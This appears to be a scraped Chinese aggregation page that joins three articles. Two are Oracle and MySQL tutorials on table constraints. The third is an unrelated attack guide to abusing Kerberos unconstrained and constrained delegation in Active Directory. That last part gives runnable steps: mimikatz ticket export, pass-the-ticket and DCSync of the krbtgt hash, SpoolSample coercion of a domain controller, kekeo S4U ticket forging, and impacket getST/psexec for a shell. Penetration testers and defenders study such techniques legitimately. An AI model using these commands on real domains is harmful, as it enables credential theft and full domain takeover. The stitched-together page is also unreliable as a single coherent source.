精华内容
下载资源
问答
  • 约束

    千次阅读 2013-02-26 08:08:18
    约束是针对列的。在用户添加或修改列数据时,它用来对列数据用出一些限制。例如,非空约束限制了列不能为空。这就是约束。 一、非空约束 NOT NULL   我们可以在创建表的同时,创建约束。也可以先创建表,...

    约束是针对列的。在用户添加或修改列数据时,它用来对列数据用出一些限制。例如,非空约束限制了列不能为空。这就是约束。


    一、非空约束 NOT NULL  
     我们可以在创建表的同时,创建约束。也可以先创建表,以后在有需要时,添回约束。下面我们先说在创建表的同时,创建约束。
    1、建立表时指定约束

     先看一个例子:


    gyj@OCM> drop table t2;


    Table dropped.


    gyj@OCM> create table t2(id number(10) constraint c_id not null, name varchar2(20));


    Table created.


    上面的命令创建T2表,并在ID列上创建名为C_ID的非空约束。其中,CONSTRAINT c_id的C_ID就是约束的名字。如果我们在创建约束时,也可以不为约束起名字,这样就可以省略CONSTRAINTc_id,那么系统将自动为约束命名:


    gyj@OCM> drop table t2;


    Table dropped.


    gyj@OCM> create table t2(id number(10) not null,name varchar2(20));


    Table created.


    只需要在列名后添加NOT NULL就可以了。这样很简单,但是ORACLE将自动为此约束起一个非常复杂的名字。
    这是在创建表的同时创建约束。有些表是在创建之后,才发现应该为表中的某些列添加约束。


    下面我们说一下如何在创建表之后,添加约束。
    2、在创建表后添加非空约束
    语法形式为:alter table 表名 modify (列名 类型(长度)[DEFAULT 默认值] [非空约束]) ;

    这条命令的大部分,我们在前一章已经讲过,它可以更改表中指定列的长度、类型和默认值。当然,它还可以为表添加非空约束。注意,这条命令只能为表添加非空约束。其他类型的约束不使用此命令。


    gyj@OCM> drop table t2;


    Table dropped.


    gyj@OCM> create table t2(id number(10), name varchar2(20));


    Table created.


    gyj@OCM> alter table t2 modify (id constraint c_id not null);


    Table altered.


    同样,约束名可以省略,如果省略,系统将自定约束名。


    3、删除约束

    删除约束非常简单,我们看下面的测试吧,删除上面刚建立的t2_ID_NN约束。


    gyj@OCM>  alter table t2 drop constraint c_id;


    Table altered.


    二、条件检查约束 CHECK  

    CHECK非常简单,我们看下面的例子。我想将T2表的ID列值的大小,限制为正整数,也就是说能是0或负数:


    gyj@OCM> drop table t2;


    Table dropped.


    gyj@OCM> create table t2(id number(10) constraint c_id_1 check (id>=1),name varchar2(20));


    Table created.


    向ID列插入一个0试试:


    gyj@OCM> insert into t2(id) values(0);
    insert into t2(id) values(0)
    *
    ERROR at line 1:
    ORA-02290: check constraint (GYJ.C_ID_1) violated


    像上面这样把约束的创建,直接放在列的后,这种方式创建的约束,被称为列级约束,也简称列约束。除了列级约束,还有表级约束,简称表约束。从隶属关系上来讲,列约束的相关信息,和列存储在一起,因此说列约束是属于列的。而表约束的相关信息,则和表存贮在一起,表约束属于表。从功能上讲,列约束和表约束是一样的。创建方式也非常的相似,下面我们建立一个属于表的CHECK约束:


    gyj@OCM> drop table t2;


    Table dropped.


    gyj@OCM> create table t2(id number(10), name varchar2(20),constraint t2_id_1 check (id>=1) );


    Table created.


    也就是约束并不跟在列之后定义,而是在在所有列之后,另行定义。这样创建的约束,就是在表级创建约束,也就表约束。但是我们要明白,其实表约束仍是约束表中的列的,它仍是对列发挥作用,只不过像上面t2_id_1约束的信息,被存贮在表层,和表放在一起。

    约束中,非空约束必须是列约束。其他类型的约束都即可以是列约束,也可以创建为表约束。不过和列约束相比,表约束有一个列约束所不能提供的功能,就是,一个表约束中可以涉及多列:


    gyj@OCM> drop table t2;


    Table dropped.


    gyj@OCM> create table t2(id number(10), 
      2     age number(3), 
      3     name varchar2(20), 
      4     company varchar2(40),
      5     constraint t2_id_1 check (id>=age ) );


    Table created.


    此约束的意义是规定ID列必须大于等于AGE列的值。像这样涉及两个列的约束,必须在表级创建。在列级创建的约束,只能针对某一个列。
    如果是在创建表后再添加约束,命令如下:

    gyj@OCM> drop table t2;


    Table dropped.


    gyj@OCM> create table t2(id number(10), age number(3), name varchar2(20), company varchar2(40));


    Table created.


    gyj@OCM> alter table t2 add(constraint t2_id_age_c check (id>age));


    Table altered.


    和添加非空约束相比,仍然是使用ALTER TABLE命令,但不在是MODIFY,而是ADD。这条命令也可以用来为表新增列除了非空约束外,其他类型的约束必须使用此命令添加。这样添加的约束,都是表级约束。

    还有就是,在添加约束时,CHECK约束的条件有可能互相冲突:


    gyj@OCM> drop table t2;


    Table dropped.


    gyj@OCM> create table t2(id number(10), age number(3), name varchar2(20), company varchar2(40));


    Table created.


    gyj@OCM> alter table t2 add(constraint t2_id_11 check (id>=1 ));


    Table altered.


    gyj@OCM> alter table t2 add(constraint t2_id_12 check (id<=0 ));


    Table altered.


    我添加了两个约束,分别是t2_id_11和t2_id_12,两个约束都针对ID列,一个约束规定ID列的值一定要大于等于1,另一约束规定ID定必须小于等于0。现在,除了NULL值,ID列再也插入不进去任何值。


    三、唯一约束 UNIQUE 

     唯一约束限制了列的值不能有重复。唯一约束必须依赖索引,在创建唯一约束时,将会同时创建相应的索引。有关索引的内容,我们到后面再讲。下面看一下如何创建唯一约束:


    gyj@OCM>  drop table t2;


    Table dropped.
    gyj@OCM> create table t2(id number(10) constraint c_t2_id unique, age number(3), name varchar2(20));


    Table created.


     这是在列级定义约束,约束只针对一列。如果想让ID列和AGE列合起来唯一,而单独的ID列和AGE列可以重复,这就是在表中定义约束了。涉及多列的约束,只能在表级创建。


     gyj@OCM>  drop table t2;


    Table dropped.


    gyj@OCM>  create table t2(id number(10), 
      2     age number(3), 
      3     name varchar2(20),
      4     constraint t2_id_age_u unique(id,age));


    Table created.


    在表创建后添加索引命令和添回CHECK差不多,我就不再做测试了。


    四、主键 PRIMARY KEY 
     主键约束在效果上,相当于唯一约束+非空约束。也就是,即要求列值不能重复,又要求列值必须非空。
     主键约束的创建方式、注意事项,除了把UNIQUE换为PRIMARY KEY外,都和唯一约束相同,关于他的创建,我们到下面和外键约束一起试。要注意的是,在同一列上,不能即有主键约束,又有唯一约束。


    五、外键 FOREIGN KEY
    主键约束可以单独发挥作用,它的作用相当于唯一+非空。而外键约束则必须主键结合在一起使用。在创建创建约束时,先必须先有一个主键,然后,根据此主键,创建一个相关联的外键约束。也就是说,外键约束必须对应一个主键,不能创建独立的外键约束。
    主、外键约束通常创建在不同的表上,通过主、外键关系,可以将不同的表关联起来。外键约束的创建方式、注意事项,和主键约束、唯一约束相同。下面我们通过一个例子,来了解一下他的创建方式和作用:

    我建立如下两个表:


    gyj@OCM> create table emp1(id number(10), name varchar2(20), dept_id number(10));


    Table created.


    gyj@OCM> create table dept1(dept_id number(10), dept_name varchar2(20));


    Table created.


    emp1表是雇员表,包含雇员ID(ID)、姓名(NAME)和部门编号(DEPT)三列。
    dept1表是部门表,包括部门编号(DEPT)、部门名称(DEPT_NAME)两列。
    这两个表有对应的关系,雇员表的部门编号(DEPT)列,和部门表的部门编号(DEPT)列就是对应的。通常我们可以用这个列作等值连接,将两个表连接在一起显示更详细的信息。现在,需要对这两个表中的相关部门的列作出一些限制。比如,部门表中有A、B、C三个部门,哪么,雇员表中雇员的部门,也只能有A、B、C。也就是部门表中有什么部门,雇员才能是什么部门。不能雇员是D部门,但在部门表中根本就没有此部门。

    像这样的限制,我们就可以通过主、外键约束来实现。dept1(部门表)表中的dept_id(部门编号)列应该被设为主键。而雇员表emp11中的dept_id列为外键:


    gyj@OCM> alter table dept1 add(constraint c_dept1_p primary key(dept_id));


    Table altered.


    gyj@OCM> alter table emp1 add(constraint c_emp1_dept1_f foreign key(dept_id) references dept1(dept_id));


    Table altered.


    注意添加外键约束的命令,foreign key(dept_id)说明要在本表上dept_id列上创建外键约束,references dept1(dept_id)说明此约束关联于DEPT1表中的DEPT_ID列上的主键。在执行此命令前,DEPT1表的DEPT_ID列必须有主键约束或唯一约束。注意,外键约束也可以关联到唯一约束。

    现在,向部门表插入三个部门。


    gyj@OCM> insert into dept1 values(1,'IT');


    1 row created.


    gyj@OCM> insert into dept1 values(2,'Administration');


    1 row created.


    gyj@OCM> insert into dept1 values(3,'Sales');


    1 row created.


    gyj@OCM> commit;


    Commit complete.


    如果向EMP1中插入这三个部门的雇员,是没有问题的:


    gyj@OCM> insert into emp1 values(1,'Joe',3);


    1 row created.


    如上,我插入了一个雇员编号为1,姓名为“Joe”的雇员,他属于销售部。但如果我插入部门编号为5的行,插入将会失败:


    gyj@OCM>  insert into emp1 values(2,'Rose',5);
     insert into emp1 values(2,'Rose',5)
    *
    ERROR at line 1:

    ORA-02291: integrity constraint (GYJ.C_EMP1_DEPT1_F) violated - parent key not found


    主键可以有外键没有的值,但外键不能有主键没有的值。这就是主、外键约束的根据意义。另外,我们通常将主键所在表称为父表,外键所在表称为子表。

    此时,以已有一条部门编号为3的雇员,再在主键中删除部门编号为3的行,会出现什么情况呢:


    gyj@OCM> delete dept1 where dept_id=3;
    delete dept1 where dept_id=3
    *
    ERROR at line 1:
    ORA-02292: integrity constraint (GYJ.C_EMP1_DEPT1_F) violated - child record found


      ORACLE不允许你这么做。你必须先到子表中,删除所有部门编号为3的行,这样才能删除父表中部门编号为3的行。ORACLE可以自动为你做这个工作,但你要把子表的外键,设为级联删除,命令如下:


    gyj@OCM> alter table emp1 drop constraint c_emp1_dept1_f;


    Table altered.


    我先使用上面的命令将原来的外键约束删除。然后再用下面的命令添加可以级联删除的外键约束。


    gyj@OCM> alter table emp1 add(constraint c_emp1_dept1_f 
      2     foreign key(dept_id) 
      3     references dept1(dept_id) 
      4     on delete cascade);


    Table altered.


    on delete cascade表示的就是级联删除行。级联删除的意思,也就是删除主表的部门编号为3的行时,子表中所有部门为3的行都跟着删除。


    gyj@OCM> delete dept1 where dept_id=3;


    1 row deleted.


    gyj@OCM> select * from emp1;


    no rows selected


    不过,有一点需要注意,这里的级联,并不是针对所有的DML命令,只能针对删除。on delete cascade中有一个DELETE单词,这就说明了这只是“级联删除”。不能级联更新、插入等等。

    但更新命令是不可级联的:


    gyj@OCM> insert into emp1 values(1,'Jack',2);


    1 row created.


    gyj@OCM> update dept1 set dept_id=4 where dept_id=2;
    update dept1 set dept_id=4 where dept_id=2
    *
    ERROR at line 1:
    ORA-02292: integrity constraint (GYJ.C_EMP1_DEPT1_F) violated - child record found


    外键必须对应主键,也就是子表必能对应一个父表。如果父表被删除了,子表怎么办,看试验:


    gyj@OCM> drop table dept1;
    drop table dept1
               *
    ERROR at line 1:
    ORA-02449: unique/primary keys in table referenced by foreign keys


    ORACLE不允许删除父表。除非使用级联约束:


    gyj@OCM>  drop table dept1 cascade constraints
      2  /


    Table dropped.


    cascade constraints(级联约束)将先删除子表上的外键,再删除父表。cascade constraints在所有涉及约束的命令中都可以使用。比如,我们前面已经讲过的删除列,这可以使用这个选项,在删除列的同时,删除约束。




    **********本博客所有内容均为原创,如有转载请注明作者和出处!!!**********
    Name:    guoyJoe

    QQ:        252803295

    Email:    oracledba_cn@hotmail.com

    Blog:      http://blog.csdn.net/guoyJoe

    ITPUB:   http://www.itpub.net/space-uid-28460966.html

    OCM:     http://education.oracle.com/education/otn/YGuo.HTM
     _____________________________________________________________
    加群验证问题:哪些SGA结构是必需的,哪些是可选的?否则拒绝申请!!!

    答案在:http://blog.csdn.net/guoyjoe/article/details/8624392

    Oracle@Paradise  总群:127149411

    Oracle@Paradise No.1群:177089463(已满)

    Oracle@Paradise No.2群:121341761

    Oracle@Paradise No.3群:140856036


    展开全文
  • MySQL——约束(constraint)详解

    万次阅读 多人点赞 2018-03-22 15:40:04
    该博客说说关于数据库中一个重要的知识点——约束 一、什么是约束 约束英文:constraint 约束实际上就是表中数据的限制条件 二、约束作用 表在设计的时候加入约束的目的就是为了保证表中的记录...

    该博客说说关于数据库中一个重要的知识点——约束

    一、什么是约束

    约束英文:constraint

    约束实际上就是表中数据的限制条件


    二、约束作用

    表在设计的时候加入约束的目的就是为了保证表中的记录完整和有效

    • 比如name字段中要让其用户名不重复,这就需要添加约束。或者必须注册的时候需要添加邮箱等

    三、约束种类

    • 非空约束(not null)
    • 唯一性约束(unique)
    • 主键约束(primary key) PK
    • 外键约束(foreign key) FK
    • 检查约束(目前MySQL不支持、Oracle支持)

    下面将逐一介绍以上约束


    四、非空约束

    用not null约束的字段不能为null值,必须给定具体的数据

    创建表,给字段添加非空约束(创建用户表,用户名不能为空)

    	mysql> create table t_user(
        -> id int(10),
        -> name varchar(32) not null
        -> );
    Query OK, 0 rows affected (0.08 sec)
    

    如果没有插入name字段数据,则会报错

    mysql> insert into t_user (id) values(1);
    ERROR 1364 (HY000): Field 'name' doesn't have a default value
    

    五、唯一性约束

    unique约束的字段,具有唯一性,不可重复,但可以为null

    ###创建表,保证邮箱地址唯一(列级约束)

    mysql> create table t_user(
        -> id int(10),
        -> name varchar(32) not null,
        -> email varchar(128) unique
        -> );
    Query OK, 0 rows affected (0.03 sec)
    

    1、表级约束

    mysql> create table t_user(
        -> id int(10),
        -> name varchar(32) not null,
        -> email varchar(128),
    	-> unique(email)
        -> );
    

    如果插入相同email会报错

    mysql> insert into t_user(id,name,email) values(1,'xlj','932834897@qq.com');
    Query OK, 1 row affected (0.00 sec)
    
    mysql> insert into t_user(id,name,email) values(2,'jay','932834897@qq.com');
    ERROR 1062 (23000): Duplicate entry '932834897@qq.com' for key 'email'
    

    2、使用表级约束,给多个字段联合约束

    联合约束,表示两个或以上的字段同时与另一条记录相等,则报错

    mysql> create table t_user(
        -> id int(10),
        -> name varchar(32) not null,
        -> email varchar(128),
        -> unique(name,email)
        -> );
    Query OK, 0 rows affected (0.01 sec)
    

    插入第一条数据

    mysql> insert into t_user(id,name,email) values(1,'xxx','qq.com');
    Query OK, 1 row affected (0.05 sec)
    

    插入第二条数据如果是与联合字段中的一条相同另一条相同,也是可以的

    mysql> insert into t_user(id,name,email) values(2,'mmm','qq.com');
    Query OK, 1 row affected (0.05 sec)
    

    插入第三条数据,如果与联合字段都相同,则报错

    mysql> insert into t_user(id,name,email) values(3,'mmm','qq.com');
    ERROR 1062 (23000): Duplicate entry 'mmm-qq.com' for key 'name'
    

    3、表级约束可以给约束起名字(方便以后通过这个名字来删除这个约束)

    mysql> create table t_user(
        -> id int(10),
        -> name varchar(32) not null,
        -> email varchar(128),
        -> constraint t_user_email_unique unique(email)
        -> );
    Query OK, 0 rows affected (0.06 sec)
    

    constraint是约束关键字,t_user_email_unique自己取的名字

    例:用户名既不能为空,也不能重复

    name varchar(32) not null unique
    

    六、主键约束(primary key)PK

    表设计时一定要有主键

    1、主键涉及术语

    • 主键约束
    • 主键字段
    • 主键值

    2、以上三种术语关系

    表中的某个字段添加主键约束后,该字段为主键字段,主键字段中出现的每一个数据都称为主键值

    3、主键约束与“not null unique”区别

    给某个字段添加主键约束之后,该字段不能重复也不能为空,效果和"not null unique"约束相同,但是本质不同。

    主键约束除了可以做到"not null unique"之外,还会默认添加"索引——index"

    4、一张表应该有主键字段,如果没有,表示该表无效

    • 主键值:是当前行数据的唯一标识、是当前行数据的身份证号
    • 即使表中两行记录相关数据相同,但由于主键值不同,所以也认为是两行不同的记录

    5、按主键约束的字段数量分类

    无论是单一主键还是复合主键,一张表主键约束只能有一个(约束只能有一个,但可以作用到好几个字段)

    • 单一主键:给一个字段添加主键约束
    • 复合主键:给多个字段联合添加一个主键约束(只能用表级定义)

    单一主键(列级定义)

    mysql> create table t_user(
        -> id int(10) primary key,
        -> name varchar(32)
        -> );
    Query OK, 0 rows affected (0.07 sec)
    

    单一主键(表级定义)

    mysql> create table t_user(
        -> id int(10),
        -> name varchar(32) not null,
        -> constraint t_user_id_pk primary key(id)
        -> );
    Query OK, 0 rows affected (0.01 sec)
    

    复合主键(表级定义)

    mysql> create table t_user(
        -> id int(10),
        -> name varchar(32) not null,
        -> email varchar(128) unique,
        -> primary key(id,name)
        -> );
    Query OK, 0 rows affected (0.05 sec)
    

    6、在MySQL数据库提供了一个自增的数字,专门用来自动生成主键值,主键值不用用户维护,自动生成,自增数从1开始,以1递增(auto_increment)

    mysql> create table t_user(
        -> id int(10) primary key auto_increment,
        -> name varchar(32) not null
        -> );
    Query OK, 0 rows affected (0.03 sec)
    

    插入两行记录,id主键值会自动增加

    mysql> insert into t_user(name) values('jay');
    Query OK, 1 row affected (0.04 sec)
    
    mysql> insert into t_user(name) values('man');
    Query OK, 1 row affected (0.00 sec)
    
    
    mysql> select * from t_user;
    +----+------+
    | id | name |
    +----+------+
    |  1 | jay  |
    |  2 | man  |
    +----+------+
    2 rows in set (0.00 sec)
    

    七、外键约束(foreign key)FK

    只能是表级定义(如以下例子)

    foreign key(classno) references t_class(cno)
    

    什么是外键

    若有两个表A、B,id是A的主键,而B中也有id字段,则id就是表B的外键,外键约束主要用来维护两个表之间数据的一致性。

    A为基本表,B为信息表

    1、外键涉及到的术语

    • 外键约束
    • 外键字段
    • 外键值

    2、外键约束、外键字段、外键值之间的关系

    某个字段添加外键约束之后,该字段称为外键字段,外键字段中每个数据都是外键值

    3、按外键约束的字段数量分类

    • 单一外键:给一个字段添加外键约束
    • 复合外键:给多个字段联合添加一个外键约束

    4、一张表可以有多个外键字段(与主键不同)

    5、分析场景

    设计数据库表,用来存储学生和班级信息

    两种方案

    方案一:将学生信息和班级信息存储到一张表
    sno     sname      classno      cname
    1       jay			100			浙江省第一中学高三1班
    2		lucy		100			浙江省第一中学高三1班
    3		king		200			浙江省第一中学高三2班
    

    缺点:数据冗余,比如cname字段的数据重复太多

    方案二:将学生信息和班级信息分开两张表存储

    学生表(添加单一外键)

    sno(pk)		sname		classno(fk)
    1			jack		100
    2			lucy		100
    3			king		200
    

    班级表

    cno(pk)		cname
    100			浙江省第一中学高三1班
    200			浙江省第一中学高三2班
    

    结论

    为了保证学生表中的classno字段中的数据必须来自于班级表中的cno字段中的数据,有必要给学生表中的classno字段添加外键约束

    注意点

    • 外键值可以为null
    • 外键字段去引用一张表的某个字段的时候,被引用的字段必须具有unique约束
    • 有了外键引用之后,表分为父表和子表
      • 班级表:父表
      • 学生表:子表
    • 创建先创建父表
    • 删除先删除子表数据
    • 插入先插入父表数据

    存储学生班级信息

    mysql> drop table if exists t_student;
    mysql> drop table if exists t_class;
    
    mysql> create table t_class(
        -> cno int(10) primary key,
        -> cname varchar(128) not null unique
        -> );
    
    mysql> create table t_student(
        -> sno int(10) primary key auto_increment,
        -> sname varchar(32) not null,
        -> classno int(3),
        -> foreign key(classno) references t_class(cno)
        -> );
    
    mysql> insert into t_class(cno,cname) values(100,'aaaaaaxxxxxx');
    mysql> insert into t_class(cno,cname) values(200,'oooooopppppp');
    mysql> insert into t_student(sname,classno) values('jack',100);
    mysql> insert into t_student(sname,classno) values('lucy',100);
    mysql> insert into t_student(sname,classno) values('king',200);
    

    班级表t_class

    mysql> select * from t_class;
    +-----+--------------+
    | cno | cname        |
    +-----+--------------+
    | 100 | aaaaaaxxxxxx |
    | 200 | oooooopppppp |
    +-----+--------------+
    

    学生表t_student

    mysql> select * from t_student;
    +-----+-------+---------+
    | sno | sname | classno |
    +-----+-------+---------+
    |   1 | jack  |     100 |
    |   2 | lucy  |     100 |
    |   3 | king  |     200 |
    +-----+-------+---------+
    

    上表中找出每个学生的班级名称

    mysql> select s.*,c.* from t_student s join t_class c on s.classno=c.cno;
    +-----+-------+---------+-----+--------------+
    | sno | sname | classno | cno | cname        |
    +-----+-------+---------+-----+--------------+
    |   1 | jack  |     100 | 100 | aaaaaaxxxxxx |
    |   2 | lucy  |     100 | 100 | aaaaaaxxxxxx |
    |   3 | king  |     200 | 200 | oooooopppppp |
    +-----+-------+---------+-----+--------------+
    

    结论

    以上是典型的一对多的设计:在多个地方加外键(子表加外键)

    展开全文
  • 约束性委派 约束性委派 基于资源的约束性委派 这篇文章主要对这三种委派方式相关的攻击方式进行总结。 关于委派的其他细节理解可以参看windows中关于委派(delegation)的理解。 2.发现具有委派关系的用户和计算机 ...

    1. 前言

    委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,主要分为三种:

    1. 非约束性委派
    2. 约束性委派
    3. 基于资源的约束性委派
      这篇文章主要对这三种委派方式相关的攻击方式进行总结。
      关于委派的其他细节理解可以参看windows中关于委派(delegation)的理解

    2. 发现具有委派关系的用户和计算机

    2.1 原理

    首先我们需要知道

    1. 当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION
      在这里插入图片描述
      在这里插入图片描述

    2. 当服务账号或者主机被设置为约束性委派时,其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION,且msDS-AllowedToDelegateTo属性会包含被约束的服务
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述

    2.2 利用工具查找

    1. ADFind

    不需要账号密码即可查询

    1.查询非约束委派的主机:

    AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    

    当samAccountType=805306368的时候,是对账号进行查询。
    在这里插入图片描述
    在这里插入图片描述

    2.查询约束委派的主机

    AdFind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
    

    在这里插入图片描述
    在这里插入图片描述

    2. ldapsearch

    需要域内任意用户的账号密码

    1. 查询非约束性委派的机器

    ldapsearch -LLL -x -H ldap://192.168.124.142:389 -D "administrator@test.com" -w "123"   -b dc=test,dc=com  "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    

    在这里插入图片描述

    2.查询约束性委派机器

    ldapsearch -LLL -x -H ldap://192.168.124.142:389 -D "administrator@test.com" -w "123"   -b dc=test,dc=com  "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
    

    在这里插入图片描述
    ldapsearch的详细用法可看:ldap相关知识与攻击方式

    3. powerview

    1.查询非约束性委派的机器

    Get-NetComputer -Unconstrained -Domain test.com | select cn
    在这里插入图片描述

    2.查询约束性委派机器

    Get-DomainComputer -TrustedToAuth -Domain test.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto
    

    在这里插入图片描述

    3.非约束性委派的利用

    3.1 原理

    当某台主机访问了配置了非约束性委派当主机的时候,就会将自己当可转发当tgt发送到配置了非约束性委派当主机上。这时候我们就萌生出一种攻击手法,诱导域管账号访问我们的被配置了非约束委派的主机,认证方式无论是kerberos还是ntlm都可以,这样子我们就拥有了域管的TGT,可以生成黄金票据。

    域控主机账户默认开启非约束委派

    我们以管理员身份通过winrm quickconfig可以打开普通主机上的winrm服务,而server2008之后,所有的server主机默认会开启这个服务。

    当其他主机访问配置了非约束性委派主机上的winrm服务的时候,就会将TGT与这个TGT中存储的session key缓存到这个主机上。

    必须有tgt跟tgt中的session key才能进行后续的kerberos认证。

    这里给大家一张微软官方的图片方便大家理解:
    在这里插入图片描述
    现在假设这么一种情形,service1配置了非约束性委派,用户A需要委派service1来访问service2。这个service1可以是主机账户。

    那么非约束性委派的过程可以大概理解为:

    1. 用户A向KDC申请一张可转发的用户A自己的TGT与访问service1需要的ticket。
    2. 用户A将第一步得到的ticket与可转发的tgt与tgt中的session key一起发送给了service1.
    3. service1使用那张tgt与session key来代表用户A行使后续操作例如访问service2.

    3.2 实验过程

    已有资产:

    主机名 ip 权限
    yukong 192.168.124.142 域控
    zhangsan 192.168.124.2 普通域内机器(配置了非约束性委派)
    lisi 192.168.124.3 普通域内机器(配置了约束性委派)
    1. 首先在zhangsan的机器上开启winrm服务,开启后查看zhangsan主机上的票据,发现只有zhangsan的票据:
      在这里插入图片描述

    2. 在yuknog主机上利用 Enter-PSSession -ComputerName zhangsan命令连接到zhangsan,此时域控上登陆的用户为域管administrator:
      在这里插入图片描述
      通过查询IP发现当前shell的IP变成了zhangsan机器的IP,可以理解成yukong委派zhangsan代表自己在对zhangsan进行操作

      在这里插入图片描述

    3. 登陆zhangsan机器导出域管TGT
      使用管理员权限的shell打开mimikatz执行sekurlsa::tickets /export命令即可导出所有凭据,别忘记提权mimikatz,下图方框中的文件就是域管的TGT。
      在这里插入图片描述

    4. 使用域管的凭据获得域管的权限
      首先我们进行DCsync读取一下密码:

    在这里插入图片描述
    发现是失败的。
    这时候我们使用刚才得到的域管的凭据:

    kerberos::ptt [0;27e615]-2-0-60a10000-Administrator@krbtgt-TEST.COM.kirbi

    在这里插入图片描述
    发现可以访问域控机器上的C盘文件:
    在这里插入图片描述
    读取krbtgt的hash也可以成功:
    lsadump::dcsync /domain:test.com /user:krbtgt
    在这里插入图片描述

    3.3 利用思路

    1. 先通过ldapsearch或者adfind或者powerview查询域内配置了非约束性委派的机器。
    2. 那下目标机器权限。
    3. 诱导域管对我们这台机器进行委派(通过使用钓鱼或者打印机哪个漏洞)。
    4. 拿到域管的TGT
    5. over

    3.4 非约束委派+Spooler打印机服务

    3.4.1 原理

    利用Windows打印系统远程协议(MS-RPRN)的一个漏洞,可以使得开启了spooler服务的主机强制对一个攻击者指定的主机进行kerberos或者NTLM认证。

    3.4.2 开始实验

    1. 确定yukong主机开启spooler服务。
      在这里插入图片描述

    2. 在zhangsan上使用exp来强制yukong访问zhangsan的spooler服务,进而获得yukong主机的tgt,使用方法spoolsample.exe yukong zhangsan,可以强制yukong访问zhangsan。下载地址:https://github.com/shanfenglan/test/tree/master/spooler

    3. 得到使用mimikatz得到域控主机账户的tgt并倒入到内存中

      kerberos::ptt 1.kirbi

    4. 获取域管权限可以读取krbtgt的hash
      lsadump::dcsync /domain:test.com /user:krbtgt
      在这里插入图片描述

      切记:一定要使用普通管理员的权限(不用绕过UAC)来执行spoolsample.exe yukong zhangsan这个命令,只有这样才能导出域控主机账户的tgt。

    4. 约束性委派的利用

    4.1 原理

    非约束性委派被委派的机器会直接得到发布委派的用户的TGT,是十分不安全的,因此微软推出了约束性委派,还扩充kerberos协议,添加了s4u2self与s4u2proxy协议,以增加安全性。这两个协议的具体细节可以查看:windows中关于委派(delegation)的理解这篇文章。下面我简述一下约束性委派的过程,假设有这么一种情况,用户A委派service1去访问service2,那么大概的访问过程如下:

    1. 用户A访问service1。
    2. service1通过s4u2self协议代表用户A去请求一个可以访问service1自身的可转发的ticket,这个ticket代表域控授权service1可以以用户A的身份进行操作。
    3. service1以用户A的身份访问KDC请求一个访问service2的可转发的ticket
    4. service1获取到ticket并以用户A的名义访问service2。

    第一个ticket表示域控授权service1代表用户A来访问service1,第二个ticket代表域控授权service1代表用户来访问service2。总的来说s4u2self解决的问题就是,确定了某台主机可以代表某用户来对自己进行操作。s4u2proxy解决的问题是确定了某台主机可以代表某用户对其他主机进行操作。

    综上所述,对约束性委派利用对核心就是获得可转发的ticket票据。获取根据约束性委派的执行过程可知,只要控制配置约束性委派服务的机器,并获得了它的密码,那么我们就可以劫持这台主机的kerberos请求过程,最终获得任意用户权限的ticket票据,这一行为可通过kekeo完成。

    4.2 实验过程


    补充:windows创建服务账号的方式

    windows注册服务账户(域控才可以) setspn -u -s host/wangmazi wangmazi
    在这里插入图片描述
    setspn -u lisi #可以查询lisi的spn
    在这里插入图片描述

    如果权限不够就会报错:
    在这里插入图片描述
    创建好后就可以给账号配置约束性委派了:

    在这里插入图片描述


    已有资产:

    主机名/用户 ip 权限
    yukong 192.168.124.142 域控
    zhangsan 192.168.124.2 普通域内机器(配置了非约束性委派)
    lisi 192.168.124.3 普通域内机器(对zhangsan的cifs服务配置了约束性委派)

    方法1

    1. 首先查询域内配置了约束性委派的服务账号。
    Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
    

    在这里插入图片描述

    1. 首先我们需要申请一张lisi的tgt票据,这个票据后面可用来申请可转发的ticket
      先通过mimikatz找到配置了约束性委派的主机的主机账户的密码hash:
      sekurlsa::logonpasswords
      在这里插入图片描述

      打开kekeo,执行如下命令生成一个TGT:

      tgt::ask /user:lisi$ /domain:test.com /NTLM:497114015b3695d77441431ae90b78e3
      
    2. 我们使用这张tgt来伪造请求得到一个administrator权限的ticket:

      tgs::s4u /tgt:2.kirbi /user:Administrator@test.com /service:cifs/zhangsan.test.com
      

      在这里插入图片描述

    3. 将得到的ticket导入到内存:
      打开mimikatz先privilege::Debug然后执行下面命令:

      kerberos::ptt 555.kirbi
      
    4. 访问zhangsan的cifs服务看是否成功:

      dir \\zhangsan\c$
      

      在这里插入图片描述


    方法2

    也可以使用mimikatz直接导出lisi的tgt然后使用kekeo工具执行tgs::s4u:
    先使用sekurlsa::tickets /export导出票据,使用机器账户LISI$的票据
    在这里插入图片描述

    tgs::s4u /tgt:[0;3e7]-2-1-40e10000-LISI$@krbtgt-TEST.COM.kirbi /user:Administrator@test.com /service:cifs/zhangsan.test.com
    

    在这里插入图片描述
    出现红框所示才算成功,这时候kekeo当前路径下会出现administrator的ticket(用于访问zhangsan的CIFS服务),导入这个tiket即可访问zhangsan的cifs服务:

    • 新出现的ticket:
      在这里插入图片描述
    • 将ticket导入内存,导入第二个名字很长的那个:
      kerberos::ptt 333.kirbi
      在这里插入图片描述

    导入前访问zhangsan的c$:
    在这里插入图片描述

    • 导入ticket后访问zhangsan的文件共享:
      dir \\zhangsan.test.com\c$
      在这里插入图片描述

    方法3

    这种方法可以直接拿shell,但我想不通原理:

    python getST.py -dc-ip 192.168.124.142 -spn cifs/zhangsan -impersonate administrator test.com/lisi$ -hash :497114015b3695d77441431ae90b78e3
    set KRB5CCNAME=administrator.ccache
    python psexec.py -no-pass -k zhangsan
    

    在这里插入图片描述

    补充:如果实验的时候发现s4u2proxy阶段失败但是s4u2self阶段成果,且已经配置了约束性委派,那么失败的原因有可能是身份验证的方式选择了只支持kerberos验证。只要更换成“使用任何身份验证协议”即可,如下图:
    在这里插入图片描述

    参考文章

    渗透技巧——Windows Token九种权限的利用
    By七友的文章
